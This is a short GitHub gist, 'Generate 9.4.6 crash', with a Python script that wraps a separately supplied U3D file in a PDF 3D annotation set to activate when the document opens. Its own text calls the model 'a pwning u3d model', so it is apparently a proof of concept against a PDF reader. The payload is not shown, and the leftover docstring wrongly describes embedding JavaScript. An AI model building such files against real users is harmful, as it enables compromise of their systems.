Skip to content

Instantly share code, notes, and snippets.

@9b
Created December 7, 2011 22:14
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save 9b/1444962 to your computer and use it in GitHub Desktop.
Save 9b/1444962 to your computer and use it in GitHub Desktop.
Generate 9.4.6 crash
#!/usr/bin/python
# V0.1 2008/05/23
# make-pdf-javascript, use it to create a PDF document with embedded JavaScript that will execute automatically when the document is opened
# requires module mPDF.py
# Source code put in public domain by Didier Stevens, no Copyright
# https://DidierStevens.com
# Use at your own risk
#
# History:
#
# 2008/05/29: continue
# 2008/11/09: cleanup for release
import mPDF
import optparse
def Main():
"""make-pdf-javascript, use it to create a PDF document with embedded JavaScript that will execute automatically when the document is opened
"""
parser = optparse.OptionParser(usage='usage: %prog [options] pdf-file', version='%prog 0.1')
parser.add_option('-j', '--javascript', help='javascript to embed (default embedded JavaScript is app.alert messagebox)')
parser.add_option('-f', '--javascriptfile', help='javascript file to embed (default embedded JavaScript is app.alert messagebox)')
(options, args) = parser.parse_args()
if len(args) != 1:
parser.print_help()
print ''
print ' make-pdf-javascript, use it to create a PDF document with embedded JavaScript that will execute automatically when the document is opened'
print ' Source code put in the public domain by Didier Stevens, no Copyright'
print ' Use at your own risk'
print ' https://DidierStevens.com'
else:
oPDF = mPDF.cPDF(args[0])
oPDF.header()
f= open("content.u3d","r")
all = f.read()
oPDF.indirectobject(1, 0, '<<\n /Type /Catalog\n /Outlines 2 0 R\n /Pages 3 0 R\n>>')
oPDF.indirectobject(2, 0, '<<\n /Type /Outlines\n /Count 0\n>>')
oPDF.indirectobject(3, 0, '<<\n /Type /Pages\n /Kids [4 0 R]\n /Count 1\n>>')
oPDF.indirectobject(4, 0, '<< /Parent 3 0 R /Resources 7 0 R /MediaBox [ 0 0 640 480 ] /Annots [ 5 0 R ] /Type /Page >>')
oPDF.indirectobject(5, 0, '<< /Contents (a pwning u3d model) /F 7 /Rect [ 0 0 640 480 ] /Type /Annot /3DI false /3DD 6 0 R /Subtype /3D /3DA << /DIS /I /A /PO >> >>')
oPDF.stream(6, 0, all)
oPDF.indirectobject(7, 0, '<< /ProcSet [ /PDF ] >>')
oPDF.xrefAndTrailer('1 0 R')
if __name__ == '__main__':
Main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment